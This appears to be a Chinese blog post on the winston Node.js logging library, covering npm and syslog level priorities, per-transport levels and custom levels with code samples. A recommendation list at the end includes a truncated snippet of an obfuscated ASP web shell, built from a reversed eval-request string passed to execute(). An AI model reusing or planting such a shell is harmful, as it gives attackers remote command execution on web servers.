上次讲到

Exceptions  例外

Handling Uncaught Exceptions with winston 使用winston处理未捕获的异常(这个如果对于异步,我不是很喜欢用)

使用winston,可以从进程捕获和记录uncaughtException事件。 有两种不同的方式通过默认的winston logger或者你自己的logger实例启用这个功能。

Logging Levels 日志级别

每个级别都有一个特定的整数优先级。 优先级越高,消息被认为越重要,并且相应的整数优先级越低。 例如,npm日志记录级别的优先级从0到5(从最高到最低):

{ error: 0, warn: 1, info: 2, verbose: 3, debug: 4, silly: 5 }

Similarly, as specified exactly in RFC5424 the syslog levels are prioritized from 0 to 7 (highest to lowest).

{ emerg: 0, alert: 1, crit: 2, error: 3, warning: 4, notice: 5, info: 6, debug: 7 }

If you do not explicitly define the levels that winston should use the npm levels above will be used.

Using Logging Levels 使用logging level

Setting the level for your logging message can be accomplished in one of two ways. You can pass a string representing the logging level to the log() method or use the level specified methods defined on every winston Logger.
设置记录消息的级别可以通过两种方式之一完成。 您可以将表示日志记录级别的字符串传递给log()方法,或者使用在每个winston Logger上定义的级别指定方法。
//
// Any logger instance
//
logger.log('silly', "127.0.0.1 - there's no place like home");
logger.log('debug', "127.0.0.1 - there's no place like home");
logger.log('verbose', "127.0.0.1 - there's no place like home");
logger.log('info', "127.0.0.1 - there's no place like home");
logger.log('warn', "127.0.0.1 - there's no place like home");
logger.log('error', "127.0.0.1 - there's no place like home");
logger.info("127.0.0.1 - there's no place like home");
logger.warn("127.0.0.1 - there's no place like home");
logger.error("127.0.0.1 - there's no place like home"); 使用logger.info的方式,或者使用logger.log('info') winston allows you to define a level property on each transport which specifies the maximum level of messages that a transport should log. For example, using the npm levels you could log only error messages to the console and everything info and below to a file (which includes error messages): winston允许您在每个传输上定义一个level属性,它指定传输应该记录的最大消息级别。 例如,使用npm级别,您可以只记录到控制台的错误消息以及下面的一切信息到文件(其中包括错误消息):
var logger = new (winston.Logger)({
transports: [
new (winston.transports.Console)({ level: 'error' }),
new (winston.transports.File)({
filename: 'somefile.log',
level: 'info'
})
]
});
所有大于error级别的都会在console上显示,而在info上,所有大于info级别的都会写到somefile.log

Using Custom Logging Levels  使用传统的log 级别

In addition to the predefined npm and syslog levels available in Winston, you can also choose to define your own:

除了Winston中提供的预定义的npm和syslog级别之外,您还可以选择定义自己的:
var myCustomLevels = {
levels: {
foo: 0,
bar: 1,
baz: 2,
foobar: 3
},
colors: {
foo: 'blue',
bar: 'green',
baz: 'yellow',
foobar: 'red'
}
}; var customLevelLogger = new (winston.Logger)({ levels: myCustomLevels.levels });
customLevelLogger.foobar('some foobar level-ed message');
对于winston添加颜色的设置:
winston.addColors(myCustomLevels.colors);一般会在打印的时候使用.
												

winston日志管理2的更多相关文章

  1. winston日志管理1

    Usage There are two different ways to use winston: directly via the default logger, or by instantiat ...

  2. winston日志管理3

    Further Reading 延伸阅读 Events and Callbacks in Winston winston的事件和回调 Each instance of winston.Logger i ...

  3. winston 日志管理4

    配置File Transport winston.add(winston.transports.File, options) The File transport should really be t ...

  4. Nodejs日志管理包

    Nodejs日志管理工具包:log4js 和 winston 1.log4js的使用 1)package.json中加入依赖 "log4js":"~0.6.21" ...

  5. 第13章 Linux日志管理

    1. 日志管理 (1)简介 在CentOS 6.x中日志服务己经由rsyslogd取代了原先的syslogd服务.rsyslogd日志服务更加先进,功能更多.但是不论该服务的使用,还是日志文件的格式其 ...

  6. ABP(现代ASP.NET样板开发框架)系列之8、ABP日志管理

    点这里进入ABP系列文章总目录 基于DDD的现代ASP.NET开发框架--ABP系列之8.ABP日志管理 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)” ...

  7. 【Java EE 学习 76 下】【数据采集系统第八天】【通过AOP实现日志管理】【日志管理功能分析和初步实现】

    一.日志管理相关分析 1.日志管理是一种典型的系统级别的应用,非常适合使用spring AOP实现. 2.使用日志管理的目的:对系统修改的动作进行记录,比如对权限.角色.用户的写操作.修改操作.删除操 ...

  8. ElasticSearch+NLog+Elmah实现Asp.Net分布式日志管理

    本文将介绍使用NLOG.Elmah结合ElasticSearch实现分布式日志管理. 一.ElasticSearch简介 ElasticSearch是一个基于Lucene的搜索服务器.它提供了一个分布 ...

  9. Apache 日志管理,获取客户端端口号

    日志管理分类 日志文件是用户管理和监控 Apache 安全的非常好的第一手资料,它清晰地记录了客户端访问 Apache 服务器资源的每一条记录,以及在访问中出现的错误信息,可以这样说,Apache 可 ...

随机推荐

  1. 免杀ASP一句话

    <% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...

  2. 关于 swift 的图片多选问题

    http://stackoverflow.com/questions/20756899/how-to-select-multiple-images-from-uiimagepickercontroll ...

  3. filesize返回的是以字节为单位的数据也可以使之处理数字

    1.文件的属性信息获取 首先文件具有类型,在linux下边,有block(块设备,如磁盘分区.CD-ROM).char(以字符为输入的设备,如键盘.打印机).dir(目录类型,目录也是文件的一种).f ...

  4. POJ 1386 Play on Words(欧拉图的判断)

    Play on Words Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 11838   Accepted: 4048 De ...

  5. jquery CDN(内容分发网络)使用

    jquery CDN 给开发者提供一种捷径,即不下载jquary 就通过CDN能使用各个版本的jquery. 使用方法很简单,就是在HTML 文档中引用相关版本的jquery. 例如:我用百度的CDN ...

  6. PHP+jQuery 长文章分页类 ( 支持 url / ajax 分页方式 )

    /* ******* 环境:Apache2.2.8 ( 2.2.17 ) + PHP5.2.6 ( 5.3.3 ) + MySQL5.0.51b ( 5.5.8 ) + jQuery-1.8 **** ...

  7. DirectX 基础学习系列6 字体

    DIRECTX9自带ID3DXFONT类 内部调用GDI的接口,效率一般,但能够处理一些复杂的字体 HRESULT D3DXCreateFontIndirect( LPDIRECT3DDEVICE9 ...

  8. 微信自定义菜单说php json_encode不转义中文汉字的方法

    http://blog.csdn.net/qmhball/article/details/45690017 最近在开发微信自定义菜单. 接口比较简单,就是按微信要求的格式post一段json数据过去就 ...

  9. Behavior-Based Intelligence

    Computer Science An Overview _J. Glenn Brookshear _11th Edition Early work in artificial intelligenc ...

  10. THE ARCHITECTURE OF COMPLEXITY HERBERT A. SIMON* Professor of Administration, Carnegie Institute of Technology (Read April 26, 1962)

    THE ARCHITECTURE OF COMPLEXITY HERBERT A. SIMON* Professor of Administration, Carnegie Institute of ...